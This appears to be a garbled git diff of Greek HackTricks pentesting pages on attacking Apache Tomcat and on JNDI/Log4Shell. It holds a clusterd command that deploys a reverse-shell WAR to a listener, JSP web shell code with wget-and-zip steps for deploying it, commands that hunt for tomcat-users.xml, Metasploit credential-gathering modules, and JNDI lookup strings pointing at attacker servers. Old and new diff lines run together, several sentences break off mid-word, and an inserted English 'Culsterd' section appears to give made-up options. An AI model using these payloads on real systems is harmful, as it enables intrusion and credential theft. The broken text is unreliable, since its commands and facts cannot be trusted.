Για να υλοποιηθεί μια συνδεδεμένη κέλυφος, ο χάκερ χρησιμοποιεί ένα πρόγραμμα που ακούει σε μια συγκεκριμένη θύρα του συστήματος. Ο χάκερ μπορεί να επιλέξει οποιαδήποτε θύρα είναι διαθέσιμη και δεν χρησιμοποιείται από άλλες εφαρμογές. Όταν ο χρήστης συνδεθεί στην θύρα αυτή, ο χάκερ λαμβάνει μια σύνδεση και μπορεί να εκτελέσει εντολές στο σύστημα.
Η συνδεδεμένη κέλυφος είναι μια ισχυρή τεχνική χάκινγκ που μπορεί να χρησιμοποιηθεί για να αποκτηθεί πρόσβαση σε ένα σύστημα και να εκτελεστούν επιθέσεις. Είναι σημαντικό να λαμβάνονται μέτρα ασφαλείας για να προστατευθούν τα συστήματα από αυτήν την είδους επίθεση.
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
### Χρήση του [Culsterd](https://github.com/hatRiot/clusterd) ### Χρησιμοποιώντας το [Culsterd](https://github.com/hatRiot/clusterd)
Culsterd is a tool that can be used for penetration testing of Apache Tomcat servers. It provides various functionalities that can help in identifying vulnerabilities and exploiting them.
#### Installation
To install Culsterd, follow these steps:
1. Clone the Culsterd repository from GitHub:
```
git clone https://github.com/hatRiot/clusterd.git
```
2. Change into the Culsterd directory:
```
cd clusterd
```
3. Install the required dependencies:
```
pip install -r requirements.txt
```
#### Usage
Culsterd can be used to perform various tasks related to Tomcat server penetration testing. Some of the common tasks include:
- **Brute forcing credentials**: Culsterd can be used to perform brute force attacks to guess usernames and passwords for Tomcat server authentication.
- **Exploiting vulnerabilities**: Culsterd provides modules to exploit known vulnerabilities in Tomcat servers, such as the Tomcat Manager application.
- **Information gathering**: Culsterd can gather information about the target Tomcat server, such as version, installed applications, and configuration details.
- **File upload**: Culsterd can be used to upload files to the target Tomcat server, which can be useful for further exploitation.
- **Command execution**: Culsterd provides modules to execute commands on the target Tomcat server, allowing for remote code execution.
To use Culsterd, run the following command:
```
python clusterd.py <options>
```
Replace `<options>` with the desired options and parameters for the specific task you want to perform.
#### Examples
Here are some examples of using Culsterd for Tomcat server penetration testing:
- Brute forcing credentials:
```
python clusterd.py -t <target_ip> -u <username_list> -p <password_list>
```
- Exploiting the Tomcat Manager application:
```
python clusterd.py -t <target_ip> -m tomcat_manager -u <username> -p <password>
```
- Gathering information about the target server:
```
python clusterd.py -t <target_ip> -m info
```
- Uploading a file to the target server:
```
python clusterd.py -t <target_ip> -m upload -f <file_path>
```
- Executing a command on the target server:
```
python clusterd.py -t <target_ip> -m command_execution -c "<command>"
```
These are just a few examples of what can be done with Culsterd. Explore the tool and its modules to discover more functionalities for Tomcat server penetration testing.
```bash ```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
``` ```
### Μέθοδος χειροκίνητης εγκατάστασης - Web shell ### Χειροκίνητη μέθοδος - Web shell
Δημιουργήστε το **index.jsp** με αυτό το [περιεχόμενο](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): Δημιουργήστε το **index.jsp** με τον παρακάτω [περιεχόμενο](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -298,11 +154,9 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει το ανέβασμα, το κατέβασμα και την εκτέλεση εντολών): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### Χειροκίνητη Μέθοδος 2
### Μέθοδος Χειροκίνητης Εγκατάστασης 2 Λάβετε ένα JSP web shell όπως [αυτό](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) και δημιουργήστε ένα WAR αρχείο:
Αποκτήστε ένα JSP web shell όπως [αυτό](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) και δημιουργήστε ένα αρχείο WAR:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -311,39 +165,36 @@ zip -r backup.war cmd.jsp
``` ```
## POST ## POST
Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι _tomcat-users.xml_ Το όνομα του αρχείου διαπιστευτήριων του Tomcat είναι _tomcat-users.xml_
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
Άλλοι τρόποι για να συλλέξετε διαπιστευτήρια Tomcat: Άλλοι τρόποι για τη συλλογή διαπιστευτήριων Tomcat:
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
``` ```
## Άλλα εργαλεία σάρωσης για το Tomcat ## Άλλα εργαλεία σάρωσης tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Αναφορές ## Αναφορές
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
<details> <details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σαρώσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. <img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία ώστε να μπορέσετε να τις διορθώσετε γρηγορότερα. Ο Intruder παρακολουθεί την επιφάνεια επίθεσης σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρη την τεχνική σας υποδομή, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,75 +2,137 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από διεπαφές προς διαδικτυακές εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Βασικές Πληροφορίες ## Βασικές Πληροφορίες
Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως ένας κατάλογος υπηρεσιών, επιτρέποντας στα προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονομασίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διάφορα συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Οι κοινές SPIs περιλαμβάνουν το CORBA COS, το Java RMI Registry και το LDAP. Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Συνήθεις SPIs περιλαμβάνουν το CORBA COS, το Μητρώο Java RMI και το LDAP.
### Αναφορά Ονομασίας JNDI ### Αναφορά Ονοματολογίας JNDI
Τα αντικείμενα Java μπορούν να αποθηκευτούν και ανακτηθούν χρησιμοποιώντας Αναφορές Ονομασίας JNDI, οι οποίες έχουν δύο μορφές:
- **Διευθύνσεις Αναφοράς**: Καθορίζει την τοποθεσία ενός αντικειμένου (π.χ. _rmi://server/ref_), επιτρέποντας την άμεση ανάκτηση από την καθορισμένη διεύθυνση. Τα αντικείμενα Java μπορούν να αποθηκεύονται και ανακτώνται χρησιμοποιώντας Αναφορές Ονοματολογίας JNDI, οι οποίες έρχονται σε δύο μορφές:
- **Απομακρυσμένο Εργοστάσιο**: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν αποκτάται πρόσβαση, η κλάση λήψης και εκτέλεσης λαμβάνεται από την απομακρυσμένη τοποθεσία.
Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, με δυνητική φόρτωση και εκτέλεση αυθαίρετου κώδικα. Ως μέτρο αντιμετώπισης: * **Διευθύνσεις Αναφοράς**: Καθορίζουν την τοποθεσία ενός αντικειμένου (π.χ., _rmi://server/ref_), επιτρέποντας την άμεση ανάκτηση από την καθορισμένη διεύθυνση.
* **Απομακρυσμένο Εργοστάσιο**: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση λήψης και εκκίνησης από την απομακρυσμένη τοποθεσία.
- **RMI**: `java.rmi.server.useCodeabseOnly = true` από προεπιλογή από το JDK 7u21, περιορίζοντας την απομακρυσμένη φόρτωση αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω το τι μπορεί να φορτωθεί. Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, με δυνητική εκτέλεση και φόρτωση αυθαίρετου κώδικα. Ως αντίμετρο:
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` από προεπιλογή από το JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένα φορτωμένων αντικειμένων Java. Εάν οριστεί σε `true`, η απομακρυσμένη εκτέλεση κώδικα είναι δυνατή χωρίς εποπτεία Διαχ
## Ευπάθεια Log4Shell
Η ευπάθεια εισάγεται στο Log4j επειδή υποστηρίζει μια [**ειδική σύνταξη**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) στη μορφή `${prefix:name}` όπου το `prefix` είναι ένα από πολλά διάφορα [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) όπου το `name` πρέπει να αξιολογηθεί. Για παράδειγμα, το `${java:version}` είναι η τρέχουσα έκδοση της Java. * **RMI**: `java.rmi.server.useCodeabseOnly = true` από προεπιλογή από JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω το τι μπορεί να φορτωθεί.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` από προεπιλογή από JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένων αντικειμένων Java. Εάν οριστεί σε `true`, η απομακρυσμένη εκτέλεση κώδικα είναι δυνατή χωρίς επίβλεψη Διαχειριστή Ασφαλείας.
* **CORBA**: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Διαχειριστής Ασφαλείας είναι πάντα ενεργός.
Το [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) εισήγαγε μια δυνατότητα αναζήτησης `jndi` Lookup. Αυτή η δυνατότητα επιτρέπει την ανάκτηση μεταβλητών μέσω του JNDI. Συνήθως, το κλειδί προσθέτει αυτόματα το πρόθεμα `java:comp/env/`. Ωστόσο, αν το ίδιο το κλειδί περιλαμβάνει ένα **":"**, αυτό το προεπιλεγμένο πρόθεμα δεν εφαρμόζεται. Ωστόσο, ο **Διαχειριστής Ονοματολογίας**, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με την πιθανότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Με ένα **":" παρόν** στο κλειδί, όπως `${jndi:ldap://example.com/a}`, δεν υπάρχει πρόθεμα και γίνεται ερώτημα στον **διακομιστή LDAP για το αντικείμενο**. Και αυτά τα Lookups μπορούν να χρησιμοποιηθούν τόσο στη διαμόρφωση του Log4j όσο και όταν καταγράφονται γραμμές. Παραδείγματα εκμεταλλεύσιμων διευθύνσεων URL περιλαμβάνουν:
Επομένως, το μόνο που χρειάζεται για να πάρετε RCE είναι μια **ευπαθής έκδοση του Log4j που επεξεργάζεται πληροφορίες που ελέγχονται από τον χρήστη**. Και επειδή αυτή είναι μια βιβλιοθήκη που χρησιμοποιείται ευρέως από εφαρμογές Java για την καταγραφή πληροφοριών (συμπεριλαμβανομένων των εφαρμογών που είναι προσβάσιμες από το διαδίκτυο), ήταν πολύ συνηθισμένο να υπάρχει καταγραφή log4j για παράδειγμα των κεφαλίδων HTTP που λαμβάνονται, όπως ο User-Agent. Ωστόσο, το log4j **δεν χρησιμοποιείται μόνο για την καταγραφή πληροφοριών HTTP, αλλά για οποιαδήποτε είσοδο** και δεδομένα που έχει καθορίσει ο προγραμματιστής. * _rmi://attacker-server/bar_
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
## Επισκόπηση των CVE που σχετίζονται με το Log4Shell Παρά τις προστασίες, παραμένουν ευπαθείς σημεία, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης των υπαρχουσών προστασιών.
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Κρίσιμο]** ### Παράδειγμα JNDI
Αυτή η ευπάθεια είναι μια κρίσιμη **ευπιστοσύνη αποσειριοποίησης** στο στοιχείο `log4j-core`, που επηρεάζει τις εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την **εκτέλεση απομακρυσμένου κώδικα (RCE)**, επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Κρίσιμο]** ![](<../../.gitbook/assets/image (655) (1) (1).png>)
Αρχικά ταξινομήθηκε ως χαμηλή, αλλά αργότερα αναβαθμίστηκε σε κρίσιμη, αυτή η CVE είναι μια ευπάθεια **Απόρριψης Υπηρεσίας (DoS)** που προκύπτει από μια ανεπαρκή διόρθωση στην έκδοση 2.15.0 για το CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες διαμορφώσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω προσεκτικά διαμορφωμένων φορτίων. Ένα [tweet](https://twitter.com/marcioalm/status/1471740771581652995) παρουσιάζει έναν τρόπο παράκαμψης. Το πρόβλημα επιλύεται στις εκδόσεις 2.16.0 και 2.12.2 αφαιρώντας τα πρότυπα αναζήτησης μηνυμάτων και απενεργοποιώντας το JNDI από προεπιλογή.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Υψηλό]** Ακόμα κι αν έχετε ορίσει ένα **`PROVIDER_URL`**, μπορείτε να υποδείξετε ένα διαφορετικό σε μια αναζήτηση και θα προσπελαστεί: `ctx.lookup("<attacker-controlled-url>")` και αυτό είναι αυτό που ένας επιτιθέμενος θα εκμεταλλευτεί για να φορτώσει αυθαίρετα αντικείμενα από ένα σύστημα που ελέγχει.
Επηρεάζοντας τις εκδόσεις Log4j 1.x σε μη προεπιλεγμένες διαμορφώσεις που χρησ
### Επισκόπηση CORBA
Το CORBA (Common Object Request Broker Architecture) χρησιμοποιεί ένα **Αντισταθμίσιμο Αναφοράς Αντικειμένου (IOR)** για τη μοναδική ταυτοποίηση απομακρυσμένων αντικειμένων. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:
* **Αναγνωριστικό Τύπου**: Μοναδικό αναγνωριστικό για μια διεπαφή.
* **Βάση Κώδικα**: URL για την απόκτηση της κλάσης stub.
Σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από μόνο του. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
* Εγκατάσταση ενός **Διαχειριστή Ασφαλείας**.
* Ρύθμιση του Διαχειριστή Ασφαλείας για να επιτρέπει συνδέσεις σε πιθανώς κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
* Άδειας Socket, π.χ., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Άδειας ανάγνωσης αρχείων, είτε καθολικά (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) είτε για συγκεκριμένους καταλόγους όπου ενδέχεται να τοποθετηθούν κακόβουλα αρχεία.
Ωστόσο, ορισμένες πολιτικές προμηθευτών ενδέχεται να είναι επιεικείς και να επιτρέπουν αυτές τις συνδέσεις από προεπιλογή.
### Περιβάλλον RMI
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κανείς το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.
### LDAP
Καταρχάς, πρέπει να διακρίνουμε μεταξύ Αναζήτησης και Αναζήτησης.\
Μια **αναζήτηση** θα χρησιμοποιήσει ένα URL όπως `ldap://localhost:389/o=JNDIT
## Επισκόπηση των CVEs που σχετίζονται με το Log4Shell
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Κρίσιμο]**
Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα **μη αξιόπιστης απεικονιοποίησης** στο στοιχείο `log4j-core`, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την **εκτέλεση κώδικα από απόσταση (RCE)**, επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Κρίσιμο]**
Αρχικά ταξινομημένο ως χαμηλού κινδύνου αλλά αργότερα αναβαθμίστηκε σε κρίσιμο, αυτό το CVE είναι ένα σφάλμα **Άρνησης Υπηρεσίας (DoS)** που προκύπτει από μια ανεπαρκή διόρθωση στην έκδοση 2.15.0 για το CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες ρυθμίσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω προσεκτικών φορτίων. Ένα [tweet](https://twitter.com/marcioalm/status/1471740771581652995) παρουσιάζει έναν τρόπο παράκαμψης. Το πρόβλημα επιλύεται στις εκδόσεις 2.16.0 και 2.12.2 με την αφαίρεση μοτίβων αναζήτησης μηνυμάτων και την απενεργοποίηση του JNDI από προεπιλογή.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Υψηλό]**
Επηρεάζοντας τις **εκδόσεις Log4j 1.x** σε μη προεπιλεγμένες ρυθμίσεις χρησιμοποιώντας το `JMSAppender`, αυτό το CVE είναι ένα σφάλμα μη αξιόπιστης απεικονιοποίησης. Δεν υπάρχει διόρθωση για το κλαδί 1.x, το οποίο έχει φτάσει στο τέλος της ζωής του, και συνιστάται η αναβάθμιση στο `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Μέτριο]**
Αυτή η ευπάθεια επηρεάζει το **πλαίσιο καταγραφής Logback**, ένα διάδοχο του Log4j 1.x. Προηγουμένως θεωρείτο ασφαλές, το πλαίσιο βρέθηκε ευάλωτο και έχουν κυκλοφορήσει νεότερες εκδόσεις (1.3.0-alpha11 και 1.2.9) για να αντιμετωπίσουν το πρόβλημα.
### **CVE-2021-45105** **\[Υψηλό]**
Το Log4j 2.16.0 περιέχει ένα σφάλμα DoS, που οδήγησε στην έκδοση του `log4j 2.17.0` για τη διόρθωση του CVE. Περισσότερες λεπτομέρειες υπάρχουν στην αναφορά του BleepingComputer [εδώ](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Επηρεάζοντας την έκδοση log4j 2.17, αυτό το CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρυθμίσεων του log4j. Περιλαμβάνει την πιθανή εκτέλεση αυθαίρετου κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση ιστολογίου της [Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Εκμετάλλευση του Log4Shell
### Ανακάλυψη
Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, επειδή θα στείλει τουλάχιστον μια **αίτηση DNS** στη διεύθυνση που υποδεικνύετε στο φορτίο σας. Συνεπώς, φορτία όπως:
